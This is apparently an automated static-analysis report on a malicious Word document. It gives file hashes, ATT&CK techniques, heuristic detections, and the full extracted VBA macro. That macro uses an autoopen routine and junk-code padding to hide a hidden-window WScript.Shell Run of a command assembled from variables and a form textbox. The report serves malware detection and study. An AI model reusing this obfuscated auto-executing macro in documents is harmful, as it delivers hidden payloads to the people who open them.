Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0cb8b7b24e561cd7…

MALICIOUS

Office (OLE)

141.9 KB Created: 2019-01-14 09:42:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 139d17f64f75bb2a01fa5e9ce49a57c7 SHA-1: 5fd22a8eb826d0ee764c3a7f10d612c9e5400773 SHA-256: 0cb8b7b24e561cd79cc87bfdb188e3dcdc16999983823c326544db2bcc4c2378
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros with an autoopen subroutine, which is a common technique for executing malicious code upon opening. Critical heuristics indicate the use of WScript.Shell and Shell() calls, strongly suggesting the macro attempts to execute arbitrary commands, likely to download and run a second-stage payload. The presence of these indicators points to a macro-based malware delivery.

Heuristics 9

  • ClamAV: Doc.Malware.Olemal-6814587-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Olemal-6814587-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          End Select
V6ir = Array(Nhb2, Q0uns, Lqui, CreateObject("wscript.shell").Run(("" + Whuwpoz + W0bkha + Npvjij62 + Irjwa.TextBox1) + Lz37rm + Lvw4j7 + S3zbzho + Uzpbs6i, 41 - 41), Yvcw7, L1dut, Lj5tj)
   Select Case Jhpm
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          End Select
V6ir = Array(Nhb2, Q0uns, Lqui, CreateObject("wscript.shell").Run(("" + Whuwpoz + W0bkha + Npvjij62 + Irjwa.TextBox1) + Lz37rm + Lvw4j7 + S3zbzho + Uzpbs6i, 41 - 41), Yvcw7, L1dut, Lj5tj)
   Select Case Jhpm
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
Zrbjv = Vnha - H92m4
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4680 bytes
SHA-256: dd48fe8d6d3ae55e180c71f38ab966e5d5f51f09cd1a49d65e136cb03a8f5df9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Irjwa"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
Zrbjv = Vnha - H92m4
Kv0i = Iu743 - Xihf
Badkk = Muumk - Vwu84
Lh0if = L0s3 - Tztj
Eq0j = Vifjz - Gc887
Yzhz
N1wnj = X4asi - Cmr6
S4wj = Q3uw - S8wk
Hzhsi = Qvcf0 - Z2fa
Czh48 = Bdvs - K8wd9
D66zn = B9l47 - Cti7p
End Sub

Attribute VB_Name = "Z3r2"
Function Yzhz()
On Error Resume Next
   Select Case Akurr
         Case 173
            Bjm00 = CDate(Guaw)
            Rmu71 = Sw5w8
            Ei8pd = Sgn(Huvs)
         Case 306
            Jkjt = 344
            Zc4c = CDbl(266)
            Yvk13 = Sin(Bzunj)
         Case 754
            Ovc1 = Fix(Avbt)
            Lavkv = Round(905)
            St9ns = Y0r1q
      End Select
   Select Case Q5bi
         Case 77
            M0ioj = CDate(Lojsi)
            Tk97q = Hiz1
            Pqd9 = Sgn(Mzt9)
         Case 133
            Stha8 = 651
            Dzm8q = CDbl(245)
            Ufiv9 = Sin(Uj3wz)
         Case 78
            F8jza = Fix(Fuip)
            Gmjv = Round(97)
            K15of = Nz1j
      End Select
   Select Case Pn555
         Case 581
            Ypzjo = CDate(Y2bl)
            K9sw = Bi74
            Tilmc = Sgn(Dpmti)
         Case 33
            Znj20 = 837
            Tuiqw = CDbl(714)
            Rd2pz = Sin(T7ac)
         Case 834
            Pucp = Fix(Ucqs0)
            A6c58 = Round(915)
            Wqns = Ik5l
      End Select
   Select Case Azwkt
         Case 237
            Zsrd = CDate(Eou1p)
            O187j = R49j
            K1wsq = Sgn(Yi38b)
         Case 484
            Uiwm = 916
            Ydal = CDbl(92)
            Pujv = Sin(S1n9d)
         Case 740
            Cfpw = Fix(Qb0jt)
            A527 = Round(204)
            J5fv = D5hn6
      End Select
V6ir = Array(Nhb2, Q0uns, Lqui, CreateObject("wscript.shell").Run(("" + Whuwpoz + W0bkha + Npvjij62 + Irjwa.TextBox1) + Lz37rm + Lvw4j7 + S3zbzho + Uzpbs6i, 41 - 41), Yvcw7, L1dut, Lj5tj)
   Select Case Jhpm
         Case 459
            Fpv2 = CDate(Nibw)
            Fjhb = S4in
            M4wr4 = Sgn(Wu23)
         Case 526
            Vzsv = 546
            I3u2z = CDbl(961)
            Ia7an = Sin(Fwzl)
         Case 103
            Dz8on = Fix(Vswq)
            Na787 = Round(588)
            L4z7s = Rkdpc
      End Select
   Select Case Ru8t
         Case 205
            G37ip = CDate(Tk771)
            Wibwn = S8jt
            K4u2q = Sgn(Titsq)
         Case 935
            Fqf34 = 392
            Dzi1l = CDbl(124)
            E15za = Sin(Hsiv)
         Case 888
            Pfn7 = Fix(Dliqw)
            Q43vn = Round(419)
            Vjl7k = Ssjin
      End Select
   Select Case Il8j1
         Case 294
            Dmuz = CDate(W6a0)
            X9w1 = Miqn
            Qcbr = Sgn(Yzpo)
         Case 36
            Ww7i = 749
            Czj0l = CDbl(879)
            Bf4q = Sin(Coqc)
         Case 927
            Ua4qi = Fix(Ll973)
            Uiai = Round(412)
            D52h3 = Tt0jl
      End Select
End Function


Attribute VB_Name = "Zjpjv"

Attribute VB_Name = "Rt1n"

Attribute VB_Name = "Cc9zk"

Attribute VB_Name = "Vob9"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Rmzz"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ocasu"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Gja2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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